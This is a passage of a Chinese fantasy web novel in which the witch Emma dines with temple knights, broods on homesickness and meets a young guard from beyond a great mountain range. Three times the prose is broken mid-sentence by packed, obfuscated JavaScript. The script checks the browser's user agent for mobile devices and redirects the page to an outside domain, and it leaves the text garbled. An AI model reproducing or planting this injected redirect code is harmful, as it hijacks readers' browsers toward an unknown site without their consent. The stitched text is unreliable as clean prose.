现在去城里的餐馆太迟,路太远,到那边又正赶上用餐高峰,哈瓦娜只得遗憾地选了神殿内规格最高的食堂——费鲁南特看她点菜时的愉快,可一点瞧不出遗憾。 他其实没对哈瓦娜有什么恼怒和责怪。哈瓦娜就是那种性情,直接、热闹,爱开玩笑,或许还像她表现的,有点小小的记仇。 哈瓦娜从不吝于展现自己的本性,作为本职在巡防营的监察骑士,她替巡防营传递的文书工作很多,也因此早跟作为神谕祭司助理的费鲁南特相熟了。 也因为这样,费鲁南特同样没在她面前藏着自己的本性。 他本身就是个消极思考的人,一旦和人熟络,在人面前开口时就有九成时间忍不住抱怨。 不说点什么就不能排解自己的不安,不提前做好坏的预设就害怕发生无法承受的更坏结果。 费鲁南特知道这不是个好习惯,他为此失去过一些朋友。 哈瓦娜倒是不在意,我行我素的人也有这种优势。 但她还是比费鲁南特以为的更有些体贴之处,他偶尔会承认这点。 比如虽然打着开玩笑的名义,但她确实给了他一个和女巫直接对话的机会,玩笑一般地在本意里放进了些关心。 费鲁南特觉得自己很多时候就是想抱怨,并没有指望抱怨能解决问题,甚至更多时候,他实际没期待改变什么现状。 “但你说多了,关心你的人会当真。”曾有朋友这么告诉过他。 费鲁南特此刻对这话的理解又深刻了两分。 那种被人当真的些许感动和在女巫面前完全暴露本性的羞愧和尴尬糅杂在一起,让费鲁南特在餐桌上都没敢和艾玛碰上视线,无心餐食。 哈瓦娜倒是胃口很好。费鲁南特决定还是保留自己对她生气的权力。 “……费鲁南特?”艾玛问,“我可以这么叫你吗?” 因为沉浸在自己的尴尬之中,费鲁南特没想到女巫会主动和自己搭话,一开始甚至没听见她叫自己,猛地反应过来:“当然!我的荣幸……” “我是想问,你真的不想做监察骑士吗?”艾玛看着他说, “我没有这里的决策权,要是很肯定地说能帮你解决问题,就太自大。但得益于女巫的身份,这里的人都对我很客气。比如代你和神谕祭司阁下说说看,还是可以做到的。” “不,呃,我是说……” 费鲁南特不知如何描述。 在哈瓦娜宣称面前这位就是女巫之后,他对此就没有过一刻的怀疑。 哈瓦娜再跳脱,也是月神的信徒,绝没有信徒会允许对女巫的冒充。而且,如果她就是女巫,费鲁南特产生的那些微妙的直觉就都可以解释。 强大的魔法师往往有准确的直觉。作为议会都认可,指月石都为之倾斜的魔法师,费鲁南特也异常相信曾经数次救过自己性命的直觉。 面前的女巫对他没有责难,对他抱怨过的话也没有议论,平静,温和,甚至冷漠——一如月神。 比起宽容,费鲁南特更相信她对此实际全不在意。 这种可知和确认的熟悉感反让费鲁南特安心。 他停了一会儿,好好整理了自己的思绪,才认真地对艾玛说:“请允许我再次为今天的失言致歉。虽然,您或许确实不在意,但那些带情绪的、并不客观的私人感想,实在不该表现在您面前,更不值得您为之忧心。 “在女巫面前失仪,作为信徒已经足够无礼;若您已经是‘神殿的女巫’,作为监察骑士更是不可挽回的失职。一切没到那种地步,我此刻才有幸厚颜对您说这些。为这幸运,我敬您一杯酒。” 艾玛看着他倒满酒杯后一饮而尽,没有阻止。 每个人都有自己解决问题的方法,方法没有绝对的正确错误。 他要是觉得这样痛快,能放下心结,那这样就行。 酒杯不大,但费鲁南特灌得有点猛了,咳嗽两声,耳尖有点泛红。 艾玛道:“你也说,我还不是‘神殿的女巫’。只是女巫的身份就让你这么拘束吗?” 费鲁南特苦笑了一下,许是酒精的作用,声音松弛了些:“不同的信徒选择的信仰方式也不一样。哈瓦娜向来是这种性格,我对她没办法,有时也很羡慕她。 “她或许是好心,也或许只是想看个笑话。要真能娱乐到您,我这些忐忑倒不算冤枉。” 桌对面的哈瓦娜却叹了口气:“殿下,别让他喝了,费鲁南特酒量差得要命。喂,费鲁南特,你很重的!我不想背你回去。实在不行趁你还清醒,现在跟贝拉说点好话求她带你,她比我好心。” 荷尔贝拉默默吃菜,细嚼慢咽,一言不发。 费鲁南特却像没听见她说话,继续对艾玛道:“我很感激月神殿下。我的母国在战争中分裂,在我和家人被迫离开故土,在沙漠中流亡的时候,是阿瓦托芬接纳了我们。 “我十三岁的时候来到这里,在这里学习、工作,直到今天。即使不全是愉快的事,这里的生活就像做梦一样,比从前好太多太多了…… “对我来说……阿瓦托芬早已经是我的第二个故乡了。” 他说着说着,情绪却转向低落,又给自己添了杯酒,这次没找由头就慢慢喝了起来。 哈瓦娜咕哝着:“再喝下去他就要哭了。啊——我没带解酒药!” 荷尔贝拉从腰包里拿出药盒:“我带了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307914|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不愧是贝拉!真可靠!”哈瓦娜接过药片窜起来,“我去要点水,等我会儿——” 艾玛咀嚼着费鲁南特话里的字眼,重复道:“‘第二个故乡’……但始终不等同于‘真正的故乡’吗?” 费鲁南特摇摇头:“‘第一故乡’指的是人出生、幼年所在的地方。说真心话,我实在不觉得那个国家有多好……哪怕是分裂之前,也远远称不上富足安定。 “我的家人倒时不时怀念那里,可我更喜欢阿瓦托芬。我倒宁愿自己真是出生在这的。” “水来了——” 哈瓦娜动作飞快,精准迅速地掐断了费鲁南特的多愁善感,二话不说把解酒药塞他嘴里并开始灌水,好险没给费鲁南特呛着。 艾玛端起自己的酒杯,尝了尝那辛辣的液体。 酒水滑过她喉管,带来瞬间的灼热后,就很快消失。 随着年岁增长,酒精对她能产生的效力越来越低,甚至再难让她产生片刻晕眩—— 因为她是女巫,西里斯说。 终有一天药物再无法对她产生任何影响,酒精亦然。 这酒还是不够烈,艾玛没能从中捞取到一点乡愁的思绪。 她看着费鲁南特和哈瓦娜,倒突然想起了嘉兰和凯他们。 哈瓦娜的热情跟雪莉有相似的地方,因此艾玛不算太难适应。 她在旅途中有时会想起曾经的朋友,因为熟悉和陌生而将他们跟遇见的人两相比较。 在回忆起朋友的时刻,艾玛偶尔觉得自己有点想念他们。 那是种让人不舒服的情绪,艾玛不太理解,只觉得既然想到叫人难过,就不太愿意去想。 她不了解自己感情上的细微,但同样发生在自己身上的,总可以互相参照。 而如果她想起朋友时那些喜悦兼有痛觉的感触,可以被称为“思念”,那她就明白,自她旅程直至今日,她从未“思念”过任何一片土地。 不论她短暂歇脚过的绿洲,她出生的那座狭小的城市,她居住生活数年的费拉约尔斯—— 那些遇见过的人或许尚且有什么值得念想,而对任何一个“地方”,她从未产生留恋。 或许就是因为这样,艾玛在决定离开每一个停留过的地方时,没有任何犹豫和可惜。 艾玛感到茫然。 她继续喝酒,旁边的荷尔贝拉悄然投来了担忧的关注。 但那些酒精像是在落进她胃里之前就蒸发了,没留一点痕迹。 艾玛一边喝一边想起,她说想要离开费拉约尔斯时,西里斯的表情: 惊讶,又好像并不意外,甚至带着点发生在预料内的释然,有当即就能想到一串后续问题时所带有的困扰、思虑和疲惫,还有一点点、一点点……失望。 艾玛看不懂那点情绪。 即使在她见过的所有人之中,西里斯也是最难理解的那个。 西里斯的情绪又多又复杂,往往有数种交叠甚至矛盾地出现。艾玛现在能从他的表情里读出很多东西,但距离理解仍然隔着海角天堑。 但偏偏最难理解的,也是她最想理解的。 艾玛不擅长感情方面的事,她日渐理解到这是天生的特质,所以有时理解不了别人,也很轻易地对放弃感到无所谓。 只有西里斯不一样,艾玛始终对于无法理解他这件事感到遗憾和难过,却无可奈何。 艾玛拿起酒瓶,转动瓶身打量了一圈,终于在荷尔贝拉担忧的注视里放下了它。 对于无法从酒精中得到什么的她来说,果然还是太浪费了。艾玛想。 “273.4.16 我又梦到了自己的‘故乡’。 荒芜到生不出多少麦穗的土地,流窜的盗匪,衣不蔽体的友邻,甚至能梦到吞咽沙子尝试充饥时的触感,真实得让人恶心,好像我又回到了那里。 女巫要是真的无所不能,就不能让我控制自己的梦境吗? …… 好吧,我想或许真的可以。 但我到底是不想梦到那片土地,还是不想重复它带给我那些痛苦的情绪? 我会不自觉地梦到它,我是在害怕它,还是在怀念它? 我真的自它的阴影之中离开了吗? …… 真是让人沮丧又苦涩的问题。 半夜想这些,饿了。去厨房找点甜食。 (后接五页食谱)” 77.空竹 解酒药很有效,费鲁南特没劳烦另外两位同僚,晚餐结束后就步伐稳当地自行走回建筑部加班去了。 哈瓦娜跟艾玛理了一遍自己的工作排班,说之后有空一定来找她玩——啊不,当然是为了增强女巫身边的警卫力量,荷尔贝拉如果有事要和她换班随时招呼——说完这些就心情颇好地走了。 她当晚也喝了点酒,但不算多,只是脚步更轻飘。 荷尔贝拉陪同她回到房间,交给了艾玛一只纸折的白鸽。 只要折一折纸鸽的翅膀,对着纸鸽说话,那声音就会被记录下来,再松开手,纸鸽就会飞到荷尔贝拉身边。 如果有什么事,随时可以用这方法找她。 同一层有各式各样功能的房间,却没有其他客房。 除了“女巫的房间”,主殿似乎不设置其他卧房,祭司和其他职员们的宿舍都在侧楼,荷尔贝拉如果要休息,仍然要回到自己侧楼的房间。艾玛多少觉得有点奇怪。 荷尔贝拉和她约定了明早的时间计划,便向艾玛告了辞。 艾玛在沙发上翻了会儿书,灭掉了吊顶的灯盏,起身走到那面巨大的落地窗前。 那些暗淡的光点一星星从黑暗里上浮,点缀在起伏的建筑间,仿佛星空撒下的倒影。 艾玛在书上读到过,人类最早在黑夜中燃起火光是为了驱赶野兽。 沙漠绿洲中的灯火彻夜不息,总有一片地方的歌舞欢笑直到天白才沉睡,不知道是出于被光明笼罩的胜利的喜悦,还是仍然蛰伏在本能中的对夜晚的不安,才不得不用人造的光热来填补那片空寂的惶惶然。 而月神向阿瓦托芬许诺安宁,因此无需那些惴惴的火光。 主殿的守备严密,地砖下压着设置有各种警报条件的层层魔法阵,许多护卫在交班巡逻。 但那些巡逻的脚步连同呼吸声都传不到女巫的房间,使这里寂静得仿佛漂浮在真空中。 夜晚又轻又沉,像湖泽的水波将她托起。 艾玛在这片寂静中呼吸着,却从未觉得如此放松。 天色破晓不久,荷尔贝拉就回到了女巫的房间门口待命。 她习惯早起,即使并没有早起的必要。 脚步声很轻地落在房门前的地砖上,荷尔贝拉思绪飘游了一会儿,正思索要想些什么打发时间,就听到了身后从房间内传来的扣门声。 笃笃。 从门的另一侧向她叩问,像鸟喙敲动空心的木桩。 随后房门自己向内退开了一线,白色的纸鸽高举翅膀,挤着身子从门缝间飞出来,落到她手上。 没有上下颌的纸鸽挤了挤自己扁扁的嘴,发出艾玛的声音:“早上好,贝拉。请进。” 荷尔贝拉捧着纸鸽推开门,落地窗的帘子没有拉上,浅浅的晨光在昏暗的房间内漫散浮动。 床上是空着的,被褥平整,背着房门的长沙发扶手上却垂落了几缕黑发。 “早安,女巫殿下。”荷尔贝拉说,“我打扰到您了吗?” “没有。”艾玛的声音从沙发后越过来,“我已经醒了。” 荷尔贝拉关上门,走到沙发边。 艾玛拿靠枕垫着脑袋,躺在沙发上看书。 沙发旁茶几上的照明灯被扭动了灯颈,让它发光的石头尖端正好抵在艾玛翻阅的书页上。 “您没睡?” “在沙发上休息过一会儿。” 艾玛的声音里没有熬夜的疲惫和未醒的倦意。 她翻过一页纸,在书本间夹上了一枚干花书签,从沙发上坐起来,身上的薄毯有一半滑到了地面。 她倚在靠背上,看了会儿窗外正在醒来的城市,打了个哈欠。 “我们出去走走吧,贝拉。”艾玛说。 时间尚早,走出主殿的回廊后遇见的人仍然寥寥。 艾玛对荷尔贝拉道:“我们约定的是八点,你七点还差一刻就到了。” “抱歉,我下次会迟一点。” “你平时都起得很早吧?我这边计划比较松散,不用那么着急。你可以多休息一会儿。” 荷尔贝拉沉默了一会儿,才犹豫着答复:“感谢您的好意,殿下。我已经习惯了现在的作息,到了固定时间之后就睡不着了。我早上去过一趟巡防营,确定没有需要我处理的事才来找您。” 她说完,有点忐忑。 艾玛点点头,反而问起:“食堂已经开门了吗?” “神殿的食堂……部分有特定营业时间段,也有的从不关门,方便轮班的职员和守卫用餐。” “诶——不错啊。” 艾玛想起在费拉约尔斯时多次半夜溜到厨房觅食的经历,被抓包的话会得到嘉兰出于身体健康着想的劝诫。 月神女巫的体质不太一样,这没法对嘉兰解释。艾玛虽然胃口不大,晚餐吃饱后,深夜还是容易饥饿,加上偶尔嘴馋。 西里斯对她在自己房间和隔壁雪莉莫妮卡房间里藏的零嘴睁一只眼闭一只眼,偶尔还会亲自送点慰问夜宵。 嘉兰没想到自己要面对的不止有缺乏健康管理意识的小孩,还有缺乏健康管理意识的大人。 拿着被魔法熟练地撬了厨房门锁的铁证对着西里斯质问,收获对方一句轻飘飘的答复:等你什么时候也能拿出做人榜样的健康作息之后再谈。 艾玛很为难,希望他们不要为此产生矛盾,只能将深夜偷吃的事做得更加隐蔽。 如果费城的领主城堡也有像月神神殿这样深夜不关门的食堂,或许问题就好解决得多了。 度过身体发育的成长期之后,艾玛已经不再像小时候那样容易饥饿,甚至连食欲都产生了明显的消退。人似乎总在不再需要答案的时候才会轻易捡到曾经遍寻不得的钥匙。 荷尔贝拉找了个食堂的方位,带着艾玛穿过一条横亘在两幢楼间的露天连廊。 清晨的空气微微湿润,远处传来鸟雀的鸣叫。 一声异常清亮的鸟鸣突兀地划破空气,恍若从鸟群鸣声的底噪中挣脱出来,由远及近地拉长成渐强音。 艾玛回过头,试图寻找那声鸟鸣的来源。 荷尔贝拉伸手护了护她,却没有摆出警戒姿态。 艾玛心中一动,感知到了附近的另一道呼吸,鸟鸣声正冲向那个方向,经过她身边时带动气流,然后倏然落下。 在那鸟的爪子碰到它主人护臂的一瞬间,空气像水波那样四散溢开,显露出一个悬空站在那里的少年。 少年一双大而明亮的、猛禽般的眼睛,正一眨不眨地盯着艾玛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318865|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 少年脸上没什么表情,也看不出敌意。 他的肤色很深,浅色的短发卷曲着,额前戴着一块五彩斑斓的头巾。 他穿着神殿守卫的白色制服,腰上却围着同样色彩鲜明的腰带,手臂上戴着特殊雕刻的黄铜臂环,使守卫原本简洁的制服看起来琳琅热闹,熟悉里透着陌生。 在艾玛打量他的时候,少年也好奇地望了她一会儿,想了想,从空气中走下来,跳到走廊的石砖地面。 刚刚停在他手臂上的鸟扑棱一下,抓住了他肩膀。 少年张开口,说话的语调有点怪异:“贝拉姐,早上好。” “早上好,空竹。”荷尔贝拉回答。 “这位是?”被叫做“空竹”的少年看着艾玛,皱皱眉毛,“没见过。” “这位是最近刚刚来到神殿的,月神女巫殿下。” 空竹一愣,眼睛亮起来,突然有点慌张,张张口,又捂上嘴,退开了两步。 他似乎纠结了会儿什么,双手交握在一起不安地扭了扭,又小心地向艾玛走了半步。 “对不起。”少年的语气很诚恳,低着头,“我没礼貌。” 艾玛看向荷尔贝拉,荷尔贝拉无奈道:“他的意思是……‘失礼了’。” 空竹用力点头,向荷尔贝拉递去信任与感激的眼神。 “我的通用语不太好。” 这句话他说得很流畅,看得出因为说过太多遍而自带一种熟练的底气。 荷尔贝拉向艾玛介绍:“这是空竹,城卫巡逻队的成员。他出身自一个很远的国家,因为信奉月神而来到了神殿。 “空竹视力很好,晚上也看得很清楚,擅长隐蔽气息和在高处移动的法术,很适合巡逻的工作。他来到阿瓦托芬还不到一年,正在学习通用语,除了一些常用语以外都还很生疏。” 荷尔贝拉说了这么多,明显已经超出了空竹目前的理解速度,他清澈的眼神展示着他并没有完全听懂荷尔贝拉的话,却十分肯定地跟着点头:“对。就是这样。” “我还算擅长翻译的法术,在空竹语言学习的时候帮过些忙,需要我帮您翻译对话吗?” 艾玛对她抬手,示意荷尔贝拉等等。 她对空竹说:“用你的母语和我对话吧,我可以听懂。” 空竹惊讶地瞪大了眼睛。 他能从唇形分辨出,艾玛说的分明是通用语,话音落到他耳中时,却自然地变成了他最熟悉不过的母语。 “好厉害。”他感慨道,“您也会翻译语言的法术?和贝拉姐翻译得一样好。不愧是女巫殿下。” “我出生的地方离阿瓦托芬很远,一个并不繁荣的小镇。那里的人也习惯讲当地的语言,但每个人都多少会点通用语。在我的印象里,通用语非常普及,但你好像对它很陌生。” 空竹用手势比划了一下:“我出生的国家离这里真的很远——很远,那里的语言体系和这里完全不同。我一直在赶路,和这里的人接触不多,所以对这边的语言不熟悉。” 艾玛诧异道:“那个国家在哪里?” 空竹张了张口,似乎是发音让他困扰:“在这边,人们管那座山叫——‘乌奇波斯’,对,‘乌奇波斯山脉’。我的国家就在那座山脉的东边。” 78.乌奇波斯山脉 “乌奇波斯”,这个名字来源于这座山脚下聚落的语言,意为“不可翻越之山”。 西方大陆的地理学者曾固执地以为,自己所居的这片陆地便是唯一的陆地,“除海洋外便是绝壁,再无其他”。 “乌奇波斯山脉”被认为是大地的尽头,大陆的最东端,学者们推断,山脉的东面直浸入海。 因为它高得出奇的海拔,没有人可以攀到另一端去验证。 如同因为被海洋所彻底拒绝而无法进行的更多研究,学者们也借助过占卜师的力量来探知乌奇波斯山脉另一端的景象。 但令人惊异的是,占卜师们对另一端的描述众说纷纭,没有相同的形容。 最终学者们认为,那些占卜师所看见的是魔鬼带来的蜃景幻象,山脉的另一端一定是变幻的深渊。 这样的例子从未有过,那这种异象一定与大陆从未了解的神秘的大海相关。 大陆的学者对于无法征服的海洋有一种天然的畏惧,对乌奇波斯山另一头的探究因此被搁置,只有少数学者仍然疑虑。 艾玛在一些地理书籍中拼拼凑凑地读出过以上结论。 对乌奇波斯山和另一头景象感兴趣的,大多是学者贵族和探险家,它被称为“大地的尽头”不是没有道理。 乌奇波斯山附近气候寒冷,居民很少,它离大陆上居民的生活太远,倒在冒险故事中更亲近些。 艾玛看过不少以它为主题,或把它当个陪衬背景的寻宝故事。 这类故事的概要大抵相同,一个过着平凡生活的主角遇到了困难,突然得到了某个契机:藏宝图、魔法道具、神秘的梦、占卜师的预言,然后踏上旅途。 斗智斗勇,千难万险,在某片从未有人抵达的奇境发现了秘宝,最终用秘宝解决了自己的困难,过上了幸福生活。 至于那片“从未有人抵达的奇境”是深山、沙漠、绿洲,还是大海或乌奇波斯山的另一头,置换来去都差不太多。 由于书本的制作印刷保存限制,文字故事的传播多有困难,民众间多靠口口相传。大部分话本印量很少,甚至只有作者亲笔的孤本。 艾玛逛过费拉约尔斯城内的每一家书店,在沙漠集市中也偶有所获,看过不少稀奇古怪、甚至没头没尾的故事,对此经验丰富。 在那些以未解之谜而引人遐想的知名地点中,以大海为背景的最受欢迎。 人们从未了解大海,大海却是这些故事中的常客。 作者们常常描述,“有魔鬼在海中”。 有的主人公并非自愿抵达这种险境,往往受人欺骗或胁迫,最终依靠智谋从魔鬼掌中脱险,甚至利用魔鬼的力量报复了加害者;再猎奇一点的,也有主人公不幸惨死,精神错乱; 或是偏向哲学性的,借由这片神秘而危险的意象展现了作者对生命意义的思考和茫然。 无论是官方宣传还是民间论调,人们对海洋都怀着不知名的恐惧。 不难理解,上千年来,造出的舰船在大陆的河湖航行得再顺利,只要进入海中,就没有一艘逃脱过沉没的结局,即使有魔法师的协助也一样。 人们从海中一无所获。 数千年的健忘一代一代地流传,每个时代都有人不信邪地向这片未有人攻破的、人尽皆知的巨大宝库投入理想,大海巍然不动地回馈以空虚的死亡。 发生在身边的死亡足够多之后,再不相信大海危险的愚人也会多少生出警惕。 久而久之,终于有人疑虑:大海之中,真的有值得人类寻觅的宝藏吗? 即使终有一天解开这个漫长的谜题,谜底里或许也什么都没有,而人类要为此付出不知道多巨大的牺牲。 这些真的是值得的代价吗? 艾玛看过一本小说,作者用第三人称写了一个居住在海边的女人的生活和故事,细节处活灵活现: 村民们向庇佑大海的神明祈祷,希望潮水不要淹没村落,但他们中大多人信仰的仍是其他陆地传说里的神明,许多人暗地里视海洋里那个“神”为真正的恶魔; 他们每逢涨潮的日子都会向海里送去祭品,有羔羊也有幼童;女人的朋友因为受不了村子里的氛围而计划逃跑;违背家人意愿相爱的恋人约定去海中殉情。 女人在幼年时曾被选中为献给大海的祭品,她被海水吞没,在第二天曦光照耀的沙滩上奇迹般生还。 家人相信这是海神垂怜,感激不已。 她那时年幼,对落进过海里的事已经记不得了,但她始终不像其他村民那样畏惧海洋,烦心时甚至会去海边听着潮声静心。 十二岁之后,她开始听到潮声以外的声音。 听不懂的语言,窃窃私语或笑声哭声,还有无比动人的歌声。 她顺着那歌声无意识地向海中走去,被路过的村民拉住救下一命,却全然不知后怕,认为那歌声没有恶意。 村子里的人说她被海妖迷了心窍,中了邪、着了魔。 她日日聆听来自海洋的声音,渐渐能听懂只言片语,那是海里的居民在交谈。 她试着分辨他们,她试着理解他们,她想要靠近他们。 她选择走向他们。 艾玛在一个绿洲杂货店角落的书堆里发现的这本小说,保存不上心,有多处破损,用作者那块地域的方言文字写就,不会翻译法术的人无法阅读,翻阅痕迹很少。 作者的语言不算成熟,叙述中大量涉及类似邪教的行为风俗和思考模式。 故事的最后一句之后有多页空白,艾玛翻到最后一页,有一段用通用语留下的标注: 这本小说是作者的自传,她在决定投身大海后,将这本书赠给了经过此地的商人。 商人看不懂当地文字,因此一直没有阅读,在数年后偶然又去了一次那个村庄,问起那个女人,才知道她投了海,尸首未见。 请能够翻译的朋友转述了书中的内容后,多有感慨,因此记在末页。 后来这本书又几经转手,商人的补记下还有其他读者的笔记,或示以质疑,或认为值得研究探讨,又或觉得是作者自导自演的恐怖故事。 “我听说,有人认为乌奇波斯山的东面就是大海。”艾玛对空竹说。 “不,和这里一样,东面也是陆地。乌奇波斯——在我们那边,这座山叫‘唐古拉斯’。我的国家就在唐古拉斯山边上。” 因为用母语讲到乌奇波斯这个名字很别扭,空竹改了口。 “不像西边的大陆这么多沙漠,我们那里是一片草原,放牧牛羊的时候走一天也走不到草地的尽头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324839|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “大海,我也听说过,很远,而且船没法在上面航行,跟我们没什么关系。东边,东边还要广阔,我也没有去过,只知道再往东还有很大的陆地。” 艾玛第一次听闻这些,感到惊奇:“乌奇波斯山很高,过去没有听说谁翻到山对面去,或者从山对面来。你是怎么翻过那座山的呢?” “峰顶是很高,太高的地方有雪,很冷,而且会呼吸不上来。但是,不是整座山脉都那么高,也有一些捷径。 “虽然很难走,但我会法术,在高处平衡能力好,运气也不算差,就翻过来了。” 空竹说得简单,但脸上露出了一点小小的得意。 他抬起手,摸了摸自己肩膀上的鸟,准确来说,那是一只灰褐色的鹰,“这是我的伙伴阿木,他是一只鹰。在我的国家,鹰是勇敢的象征。 “我在唐古拉斯山的山腰上捡到了他的蛋,没想到带到西边来之后,在温暖的地方孵化了,太神奇了。我想这一定代表好运。 “阿木,向女巫殿下问个好。” 那只叫做阿木的鹰转了转脖颈,抖抖翅膀,向艾玛低了低头。 等艾玛刚转开目光,又直起脑袋,一爪一爪抓着空竹的后背踩到了他另一边肩膀上。 “他有点紧张。”空竹说。 阿木往他脖颈上不高兴地啄了一下。 “他很聪明,你们看起来关系很好。”艾玛说。 空竹看起来很高兴,却压低声音说:“阿木听得懂我们的话,他学通用语好像比我还快。可能是因为,阿木是在西边孵化的,比起我,他更接近这里的‘本地人’。 “您不要太夸他,他会不好意思的。” 阿木扇起翅膀往他后脑上拍了一记,又鸣叫一声,从空竹肩膀上飞起来,飞到远处去了。 空竹咳了一声:“看,他不好意思了——您别在意。” “你知道有其他翻过乌奇波斯山的人吗?” “有的。但我知道得也不清楚,只是小时候就听部族里的人说:唐古拉斯山是可以翻越的,很难,但不是不可能。 “起码,‘牧神女巫做得到,对她来说,翻过唐古拉斯山和踏过平地一样容易’。” “牧神女巫”,艾玛第一次在其他人口中听到这个名字。 日神、月神、海神、牧神。 西里斯明确地向她点出过,“世上确实存在的神明只有这四位,祂们各自都会选择不同的女巫”。 与谜团重重、人类尚不可知的大海相连的海神暂不论,日神和月神的信仰在陆地上异常普遍,艾玛经常在不同的地方看见祂们的教堂。 但“牧神”就更特别,不仅从字面上看不出其领域所在,艾玛也几乎没听说过这个名字。 不是西里斯提起的时候将祂与另外三位并列,她恐怕对这位神不会有任何印象。 空竹知道牧神在此处的知名度有多低,以为艾玛也没听过,很快主动解释: “‘牧神’在我们那边,是最有名的神明,信仰的人很多,也有神庙。但是不像阿瓦托芬的神殿这样,牧神的神庙更像西边大陆这里的教堂。 “在我们的传说里,祂执掌生死轮回,万物兴衰……虽然,神话总是很夸张,但,那确实是位了不起的神明。” 79.无名的小树林 他挠了挠脸:“我也很奇怪,西边大陆这里没什么人知道牧神……可能跟这位的作风有关。 “传说祂是一位洒脱自由、纵情任性的神明,来去无踪,一日万里。 “有关‘牧神女巫’,有很多她四处做好事不留名的传说,是民众事后回过神来,才意识到那些奇迹是神明般的伟力。 “据说牧神女巫不喜拘束,所以不兴建国家,不在任何地方停留。牧神的神庙都是信徒们自行供奉的,牧神女巫如果路过或许会到访歇脚。 “有关‘唐古拉斯山另一端的景象’,似乎也是牧神女巫带来的传说。她或许是第一个翻越过这座高山的人。” “哦……”艾玛发出赞叹的感慨。 空竹一愣,突然回神,开始急忙表达自己的忠心:“虽然我们那里信仰牧神的人很多,我也很尊敬祂!但是!我信仰的是月神殿下!” “哦哦。”艾玛愣了一下,因为没跟上信徒的思维回路,方才明白为什么在这节点突然被表忠心。 她明明还什么都没说,空竹就好像从她眼神里读出了自己被误会的一切,顿时极其着急地想要辩解,又不知从何说起,张口结舌像热锅上的蚂蚁。 艾玛只好先劝解他,“我没有怀疑你的信仰,你不要着急。” 空竹不说话了,有点委屈。 艾玛下意识选择了摸摸他的头来安抚对方情绪,手落下了几秒才觉得有点不太妥当:“啊……对了,你几岁啊?” 空竹受宠若惊地抬了抬眼,甚至把头更低了些,方便艾玛不用把手抬太高。 太积极了,艾玛反而觉得太快把手撤回去好像更让他受伤。 “十七。”空竹回答。 “诶,那真的还是小孩呢。” “我……在我的国家,十六岁就成年了。”空竹试图辩驳,因为情境而显得底气不足。 “到神殿还不到一年……那你十六岁之前就离开了家,走了这么远的路来到阿瓦托芬,真的辛苦了。”艾玛说,“谢谢你。” 空竹一愣,突然又慌了,甚至看起来想哭。 艾玛觉得小孩好难懂。 “抱歉,我说错了什么吗?” “不、不是……我、我没想到……”他磕磕绊绊地说,脸都红了,“我、我当不起……” 艾玛将目光投向了荷尔贝拉。 “没事,殿下,他只是太感动了。”荷尔贝拉替空竹解释。 信仰好难懂。艾玛如此感想。 空竹花了一会儿整理自己的情绪,悄悄快速地抹了下眼睛,握住了自己胸前刚刚滑出来的项链。 艾玛注意到他试图借这个动作来平复心情,目光落到了他握起的拳头上。 空竹对上她的视线,向艾玛摊开手,将项链的吊坠托在掌心给她看。 那是一颗泛黄的兽类的牙齿,经过打磨穿在绳链上。 “这是阿乔的牙齿,阿乔是一只狼,她是我非常重要的家人。” 空竹小心地握紧了那枚牙齿,神色里透出淡淡的悲伤和怀念,“我是被遗弃的,不知道自己的父母。是阿乔捡到了我,把我带到爷爷地方。 “她和爷爷是很好的朋友。我小时候经常和阿乔在一起,向她学到了很多事情。她去世的时候,没有回到她的家人之中去,而是选择睡在我和爷爷旁边……这是纪念。” “阿乔很喜欢夜晚,尤其月亮明亮的晚上,她心情很好。我也喜欢那样的夜晚。不知道为什么,看见月亮让我觉得安心。 “牧神女巫带来的传说里,有描绘过唐古拉斯山另一头的景象。实际来到这里之后,我知道那些传说中有很多误传和夸张的地方,但传说没有欺骗我,这里确实有月神,还有月神所在的神殿。” 空竹的眼神亮起来,“我觉得这就是命运,我听说之后就想,一定要去到月神所在的地方。 “爷爷是牧神的信徒,他是个豁达的人,听了我的话之后大笑,说每个人都有自己的命,我很有勇气,有决心是件了不起的事。 “我做了很多准备,我是个幸运的人,所以我成功了,我甚至有幸见到了月神的女巫殿下——能来到这里真是太好了。” 艾玛说:“真的很了不起。我也很高兴见到你。” 空竹又开始表现出一点局促的紧张。 艾玛不知道该不该继续夸。 “我听说过牧神,但不太了解祂的事情。”艾玛说。 空竹惊讶:“是吗……不愧是女巫殿下。关于牧神的事情,我也了解得不够详细。 “祂在我们的国家被宣称为全知全能,传说多得像天上的星星,跟神殿里月神殿下的传说有重合的地方……啊,倒确实有一点可以说的。” “什么?” “神殿的后/庭有一片‘无名的小树林’,是神殿埋葬逝者的地方。听到这件事的时候,我很吃惊。 